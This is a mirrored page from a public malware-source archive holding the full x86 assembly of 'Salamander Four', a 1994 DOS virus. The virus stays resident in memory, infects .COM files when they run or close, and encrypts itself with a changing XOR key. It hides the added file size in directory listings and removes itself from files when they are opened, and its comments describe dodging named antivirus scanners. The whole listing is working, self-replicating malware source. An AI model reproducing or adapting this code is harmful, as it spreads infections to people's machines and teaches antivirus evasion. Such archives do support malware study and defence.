mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 18:06:10 +00:00
582 lines
18 KiB
NASM
582 lines
18 KiB
NASM
.model tiny
|
|
.code
|
|
org 100h
|
|
|
|
resid equ 3099h
|
|
fileid equ 's'
|
|
time_stamp equ 10001b ;stealth marker...
|
|
|
|
host:
|
|
jmp short entry
|
|
db 90h,fileid
|
|
|
|
vstart:
|
|
entry:
|
|
call $+3
|
|
gd:
|
|
mov si,sp
|
|
mov bp, word ptr [si]
|
|
sub bp,offset gd
|
|
|
|
lea si, [bp+offset vstart]
|
|
|
|
call decrypt ;this call will probably trigger fprot!
|
|
;but tbav doesn't note shit...
|
|
|
|
encrypted_start:
|
|
mov ax,resid
|
|
int 21h
|
|
cmp ax,bx
|
|
je alreadyres ;check if already resident
|
|
|
|
gores:
|
|
mov ax,ds ;ds=psp
|
|
dec ax
|
|
mov ds,ax ;ds=mcb
|
|
|
|
xor di,di
|
|
cmp byte ptr ds:[di],'Z' ;end of chain ?
|
|
jne nomem
|
|
|
|
sub word ptr ds:[di+3],(hend-vstart)/16+1 ;sub dos memory
|
|
|
|
sub word ptr ds:[di+12h],(hend-vstart)/16+1 ;get tom from PSP:2 and
|
|
mov ax, word ptr ds:[di+12h] ;sub
|
|
mov es,ax ;es=virus segment...
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
copy2mem:
|
|
cld
|
|
lea si,[bp+offset vstart]
|
|
xor di,di
|
|
mov cx,(vend-vstart)/2+1
|
|
rep movsw ;copy virus to
|
|
;allocated memory
|
|
|
|
hook21h:
|
|
xor ax,ax
|
|
mov ds,ax ;ds points to int-table
|
|
push ds
|
|
|
|
lds ax,ds:[21h*4]
|
|
mov word ptr es:[o21ho-vstart],ax
|
|
mov word ptr es:[o21hs-vstart],ds ;store int 21h's vector
|
|
|
|
pop ds ;ds=0
|
|
|
|
mov word ptr ds:[21h*4],0
|
|
mov word ptr ds:[21h*4+2],1eh ;seg of hole in mem...
|
|
|
|
mov byte ptr ds:[1e0h],0eah ;jmp dword ptr
|
|
mov word ptr ds:[1e1h],(n21h-vstart) ; es:n21-vstart
|
|
mov word ptr ds:[1e3h],es ;this makes i21h's
|
|
;vector
|
|
;point to 0eh:0h and
|
|
;thats were we placed
|
|
;a jmp far to
|
|
;es:(n21h-vstart) ;))
|
|
nomem:
|
|
alreadyres:
|
|
return_com:
|
|
inc sp ;this is to restore the sp to 0fffeh, done b'cos
|
|
inc sp ;of the delta offset calc in the begining...
|
|
;don't know if it's nessesary thou...
|
|
|
|
push cs cs ;cs=ds=es
|
|
pop es ds
|
|
|
|
mov di,100h
|
|
push di
|
|
lea si,[bp+offset hbytes]
|
|
movsw
|
|
movsw
|
|
|
|
ret ; jmp 100h to start host
|
|
|
|
;-----------------------------------------------------------------------------
|
|
; This is our new int 24h handler. ie. our new critical error handler
|
|
; it'll assume no error
|
|
n24h:
|
|
mov al,0
|
|
iret
|
|
;-----------------------------------------------------------------------------
|
|
;new int 21h handler
|
|
; TU>
|
|
; This is totally fucked up, he could have used
|
|
; direct-jumps for example the stealth-routines,
|
|
; but since this is an early beta, he didn't ;).
|
|
; Thrust me, this was fixed, too.
|
|
|
|
|
|
n21h:
|
|
cmp ax,resid
|
|
jne exec
|
|
mov bx,resid
|
|
iret ;so virus wont load resident twice+
|
|
|
|
exec:
|
|
cmp ax,4b00h
|
|
jne cinfect
|
|
jmp infect
|
|
cinfect:
|
|
cmp ah,3eh ;close ?
|
|
jne odisinf
|
|
jmp close_infect ;infect!
|
|
odisinf:
|
|
cmp ah,3dh
|
|
jne ext_open
|
|
jmp open_disinfect ;if it's a file open, then disinfect!
|
|
ext_open:
|
|
cmp ax,6c00h
|
|
jne _11
|
|
jmp extended_open ;if it's a extended open (F-prot for example...)
|
|
_11:
|
|
cmp ah,11h
|
|
jne _12
|
|
jmp short fcb_stealth ;stealth during a dos-dir, find first via handles
|
|
_12:
|
|
cmp ah,12h
|
|
jne _4e
|
|
jmp short fcb_stealth ;stealth during a dos-dir, find next
|
|
_4e:
|
|
cmp ah,4eh
|
|
jne _4f
|
|
jmp short handle_stealth ;stealth during normal find first
|
|
_4f:
|
|
cmp ah,4fh
|
|
jne o21h
|
|
jmp short handle_stealth ;stealth during normal find next
|
|
|
|
o21h: db 0eah
|
|
o21ho dw 0
|
|
o21hs dw 0 ;jmp far o21hs:o21ho
|
|
ret ;used for calls to old int 21h...
|
|
;-----------------------------------------------------------------------------
|
|
;This routine will hide the size-increase of an infected .com when using
|
|
; 11h/12h or 4eh/4fh
|
|
|
|
; TU>
|
|
; I believe these two routines were put togheter into one in a latter
|
|
; version.. Sorry ;).
|
|
|
|
|
|
fcb_stealth: ;11h/12h
|
|
pushf
|
|
push cs
|
|
call o21h ;fake a call to old int handler
|
|
or al,al
|
|
jnz stealth_error
|
|
|
|
pushf
|
|
push ax bx es ;dont destroy
|
|
|
|
mov ah,51h
|
|
int 21h ;get psp addr.
|
|
|
|
mov es,bx
|
|
cmp bx,es:[16h] ;dos calling?
|
|
jne dont_stealth
|
|
|
|
mov bx,dx
|
|
mov al,[bx] ;current drive, if al=ffh then ext.fcb
|
|
|
|
push ax
|
|
mov ah,2Fh
|
|
int 21h ;get dta addr. es:bx
|
|
pop ax
|
|
|
|
inc al ;if al=ffh => al=00
|
|
jnz regular_fcb ;if al=00 then it's an extended fcb
|
|
|
|
add bx,7 ;skip dos-reserved and attribs...
|
|
regular_fcb:
|
|
add bx,3 ;the byte diffrence between the offset
|
|
;to the filesize using fcb/handles
|
|
mov ax,es:[bx+14h] ;ax=timestamp (14h+3=17h ;)
|
|
jmp short stealth_it ;hide the size
|
|
|
|
handle_stealth: ;4e/4f
|
|
pushf
|
|
push cs
|
|
call o21h ;fake int call
|
|
jc stealth_error ;there was an error so don't stealth
|
|
; (such as no files to find.. )
|
|
pushf
|
|
push ax bx es ;save
|
|
|
|
mov ah,2fh
|
|
int 21h ;get dta addr., es:bx points to it...
|
|
|
|
mov ax,es:[bx+16h] ;get time stamp
|
|
|
|
stealth_it:
|
|
|
|
and al,00011111b ;kill all but secs...
|
|
xor al,time_stamp ;xor with our marker
|
|
jnz dont_stealth ;not ours :(
|
|
|
|
cmp word ptr es:[bx+1ah],(vend-vstart) ;if fcb bx=bx+3
|
|
jb dont_stealth ;too small to be us...
|
|
cmp word ptr es:[bx+1ch],0 ;if fcb bx=bx+3
|
|
ja dont_stealth ;too large for us...>64k
|
|
|
|
sub word ptr es:[bx+1ah],(vend-vstart) ;decrease the filesize
|
|
sbb word ptr es:[bx+1ch],0 ; (* WHY ?? - TU *)
|
|
|
|
dont_stealth:
|
|
pop es bx ax
|
|
popf
|
|
|
|
stealth_error: ;if there was an error during int call
|
|
|
|
stealth_done:
|
|
retf 2
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;This is our infection routine, ds:dx points to filename upon entry
|
|
|
|
infect:
|
|
push ax bx cx dx di si ds es ;don't destroy regs/segs
|
|
mov byte ptr cs:(cflag-vstart),0 ;no closeinfection...
|
|
xchg_i24h:
|
|
mov ax,3524h
|
|
int 21h ;get int 24h's vector in es:bx
|
|
push es bx ;save es:bx so we can restore the handler...
|
|
|
|
push ds dx cs ;save ds:dx=filename
|
|
pop ds ;ds=cs
|
|
|
|
mov ah,25h
|
|
mov dx,(n24h-vstart)
|
|
int 21h ;set int 24h's vector to our handler
|
|
|
|
pop dx ds ;ds:dx=filename
|
|
mov ax,4300h
|
|
int 21h
|
|
push cx ;get and save attribs
|
|
|
|
mov ax,4301h
|
|
push ax ds dx
|
|
xor cx,cx
|
|
int 21h ;clear attribs
|
|
|
|
call openfile_rw ;open file r/w
|
|
|
|
infect_close:
|
|
push cs cs
|
|
pop ds es ;ds=cs=es
|
|
|
|
mov ah,3fh
|
|
mov dx,(hbytes-vstart)
|
|
mov cx,4
|
|
int 21h ;read first 3 bytes
|
|
|
|
cmp byte ptr ds:[hbytes-vstart],'M'
|
|
je jmpclose ; *.exe
|
|
cmp byte ptr ds:[hbytes-vstart],'Z'
|
|
jne @okey ; *.exe
|
|
jmpclose:
|
|
jmp close
|
|
@okey:
|
|
cmp byte ptr ds:[hbytes-vstart+3],fileid
|
|
je jmpclose ; infected by us already
|
|
|
|
call get_name ;get filename via sft's, in es:di
|
|
cmp word ptr es:[di],'OC' ;command.com
|
|
je jmpclose ;then close the file...
|
|
|
|
mov ax,5700h
|
|
int 21h
|
|
push cx dx ;read files time/date and save them
|
|
|
|
Call Go_eof ;go to end of file... ax=filesize on
|
|
;return
|
|
|
|
cmp ax,1024
|
|
jb restore
|
|
cmp ax,63000
|
|
ja restore ;too small/large ?
|
|
|
|
sub ax,3 ;jmp entry
|
|
mov word ptr ds:[nbytes-vstart+1],ax ;save jmp loc
|
|
|
|
get_encval:
|
|
mov ah,2ch
|
|
int 21h
|
|
or dl,dl
|
|
jz get_encval ;get new value if enc_val=0
|
|
|
|
mov word ptr ds:[encval-vstart],dx ;save it.
|
|
|
|
copy2buf:
|
|
cld
|
|
mov ax,8d00h
|
|
mov es,ax ;es=8d00h
|
|
xor si,si
|
|
xor di,di
|
|
mov cx,(vend-vstart)/2+1
|
|
rep movsw ;copy virus to encbuf
|
|
|
|
enc_buf:
|
|
mov si,(encrypted_start-vstart)
|
|
call encrypt ;encrypt es:si
|
|
|
|
write:
|
|
push es
|
|
pop ds ;es=ds=8d00h
|
|
mov ah,40h
|
|
mov cx,(vend-vstart)
|
|
cwd ;write from 8d00h:0000h
|
|
int 21h ;write encrypted virus to file
|
|
|
|
push cs
|
|
pop ds ;cs=ds
|
|
|
|
xor ax,ax
|
|
call move_fp ;go to begining of file
|
|
|
|
mov ah,40h
|
|
mov cx,4
|
|
mov dx,(nbytes-vstart)
|
|
int 21h ;write jmp to virus entry
|
|
|
|
|
|
restore:
|
|
mov ax,5701h
|
|
pop dx cx
|
|
|
|
and cl,11100000b ;zero sec's
|
|
or cl,time_stamp ;mark with our infection marker
|
|
int 21h ;restored files time/date stamp
|
|
|
|
close:
|
|
cmp byte ptr cs:(cflag-vstart),1 ;if it is a infection on
|
|
je goon2 ;close don't close file...
|
|
;and don't restore attribs
|
|
mov ah,3eh
|
|
int 21h
|
|
|
|
pop dx ds ax cx ;restore ax=4301h, ds:dx=filename
|
|
int 21h
|
|
|
|
restore_i24h:
|
|
mov ax,2524h
|
|
pop dx ds ;ds:dx points to old int 24h
|
|
int 21h ;handler
|
|
|
|
|
|
goon2:
|
|
mov byte ptr cs:(cflag-vstart),0 ;no close infection anymore
|
|
|
|
dah: pop es ds si di dx cx bx ax ;restore all segs/regs
|
|
duh: jmp o21h ;do old int 21h
|
|
;-----------------------------------------------------------------------------
|
|
close_infect:
|
|
cmp bx, 4 ;don't close AUX/NULL/CON...
|
|
jbe duh ;jmp to jmp to org 21h ;)
|
|
|
|
push ax bx cx dx di si ds es ;don't destroy regs/segs
|
|
|
|
call get_name
|
|
add di,8 ;es:di file ext
|
|
|
|
cmp word ptr es:[di],'OC'
|
|
jne noclose
|
|
cmp word ptr es:[di+2],'M'
|
|
jne noclose
|
|
|
|
mov byte ptr es:[di-26h],2 ;mark file as open in r/w mode
|
|
|
|
xor ax,ax
|
|
call move_fp ;go to begining of file
|
|
|
|
mov byte ptr cs:(cflag-vstart),1 ;mark it as a close infection...
|
|
jmp infect_close
|
|
|
|
noclose:
|
|
jmp short dah
|
|
pop es ds si di dx cx bx ax ;restore all segs/regs
|
|
jmp o21h
|
|
;-----------------------------------------------------------------------------
|
|
;This routine will disinfect an infected .com file on open!
|
|
|
|
extended_open:
|
|
cmp dx,1
|
|
je yessir
|
|
jmp o21h ;don't do anything...
|
|
yessir:
|
|
mov ah,3dh
|
|
mov al,bl
|
|
mov dx,si ;filename ds:si=ds:dx...
|
|
mov byte ptr cs:(oflag-vstart),1
|
|
|
|
open_disinfect: ;ds:dx=filename...
|
|
push ax bx cx dx di si ds es ;save all regs/segs...
|
|
|
|
push ds
|
|
pop es ;ds=es
|
|
|
|
mov cx,64 ;path+fname= max 65
|
|
mov di,dx ;offs to filename
|
|
mov al,'.' ;look for '.'
|
|
repne scasb ;repeat scansingel byte until cx=0
|
|
;offset to '.'+1 in di
|
|
cmp word ptr ds:[di],'OC'
|
|
je smallc
|
|
cmp word ptr ds:[di],'oc'
|
|
jne nocom
|
|
smallc:
|
|
cmp byte ptr ds:[di+2],'M'
|
|
je openfile
|
|
cmp byte ptr ds:[di+2],'m'
|
|
je openfile ;check if it's a com or COM
|
|
|
|
nocom:
|
|
jmp no_opendis
|
|
|
|
openfile:
|
|
call openfile_rw ;open file r/w
|
|
|
|
push cs cs
|
|
pop ds es ;cs=ds=es
|
|
|
|
mov ax,5700h
|
|
int 21h
|
|
push cx dx ;save time/date
|
|
|
|
read_f4:
|
|
mov ah,3fh
|
|
mov cx,4
|
|
mov dx,(hbytes-vstart) ;use hbytes it won't be at first...
|
|
int 21h ;read first 4 bytes...
|
|
|
|
chk_markers:
|
|
cmp byte ptr ds:[hbytes-vstart+3],fileid ;ie. our marker
|
|
jne close_dis
|
|
cmp byte ptr ds:[hbytes-vstart],0e9h ;check if it is a jmp.
|
|
jne close_dis ;if itsn't it can't be us...
|
|
|
|
call go_eof ;go to end of file,
|
|
;ax=fsize on return
|
|
|
|
mov dx,ax ;store fsize in dx too
|
|
sub ax,(vend-entry+3)
|
|
cmp word ptr ds:[hbytes-vstart+1],ax ;check if the jmp is to
|
|
jne close_dis ;our supposed entry point
|
|
|
|
push dx ;push fsize
|
|
|
|
xor ax,ax
|
|
sub dx,(vend-hbytes) ;goto hbytes offs. in file
|
|
call go_to
|
|
|
|
mov ah,3fh
|
|
mov cx,4
|
|
mov dx,(hbytes-vstart)
|
|
int 21h ;store bytes read in memory
|
|
|
|
xor ax,ax
|
|
call move_fp ;go tof
|
|
|
|
mov ah,40h
|
|
mov dx,(hbytes-vstart)
|
|
mov cx,4
|
|
int 21h
|
|
|
|
pop dx
|
|
|
|
sub dx,(vend-vstart) ;dx=size of original file
|
|
xor ax,ax
|
|
call go_to ;go to bof+cx:dx ie
|
|
;fsize-vsize
|
|
|
|
mov ah,40h
|
|
xor cx,cx
|
|
int 21h ;trunc file....
|
|
|
|
close_dis:
|
|
mov ax,5701h
|
|
pop dx cx
|
|
int 21h ;restore time/date
|
|
|
|
mov ah,3eh
|
|
pushf
|
|
push cs
|
|
call o21h ;close file
|
|
no_opendis: ;the file was never opened
|
|
pop es ds si di dx cx bx ax ;restore all segs/regs
|
|
cmp byte ptr cs:(oflag-vstart),1
|
|
jne @dduh
|
|
mov ax,6c00h ;restore ax
|
|
mov dx,1 ;restore dx after
|
|
;disinfecting...
|
|
mov byte ptr cs:(oflag-vstart),0 ;restore to no-extended open...
|
|
@dduh: jmp o21h
|
|
;-----------------------------------------------------------------------------
|
|
get_name:
|
|
push bx
|
|
mov ax,1220h ;get jft for handle at es:di
|
|
int 2fh
|
|
|
|
mov ax,1216h ;get system file table
|
|
mov bl,byte ptr es:[di] ;for handle index in bx
|
|
int 2fh
|
|
pop bx
|
|
add di,20h ;es:di+20h points to file fname
|
|
|
|
ret ;return
|
|
;-----------------------------------------------------------------------------
|
|
go_eof:
|
|
mov al,2
|
|
move_fp:
|
|
cwd
|
|
go_to:
|
|
xor cx,cx
|
|
mov ah,42h
|
|
int 21h
|
|
ret
|
|
;-----------------------------------------------------------------------------
|
|
;Open file proc. via call to original int 21h... only saves 2 bytes or sumthin
|
|
;ds:dx->filename
|
|
|
|
Openfile_rw:
|
|
mov ax,3d02h
|
|
pushf
|
|
push cs
|
|
call o21h
|
|
xchg bx,ax
|
|
ret ;return to caller with filehandle in bx...
|
|
;-----------------------------------------------------------------------------
|
|
;DATA AREA
|
|
|
|
oflag db 0 ;extended open marker
|
|
cflag db 0 ;close infection marker
|
|
tag db '[- Salamander Four -] (c) by Blonde in 1994'
|
|
nbytes db 0e9h,0,0,fileid ;newbytes
|
|
|
|
;-----------------------------------------------------------------------------
|
|
encrypt_end:
|
|
|
|
hbytes db 0cdh,20h,0,0 ;HOSTbytes, not ecrypted due to disinfect
|
|
|
|
|
|
;-----------------------------------------------------------------------------
|
|
encrypt:decrypt:
|
|
mov cx,(encrypt_end-encrypted_start)/2
|
|
xorl:
|
|
db 26h
|
|
db 81h,34h
|
|
encval dw 0 ;xor es:[si],encval
|
|
inc si
|
|
inc si
|
|
loop xorl
|
|
ret
|
|
|
|
vend: ;end of virus code excluding heap
|
|
hstart:
|
|
hend: ;end of virus code including heap
|
|
end host
|
|
================================================================================
|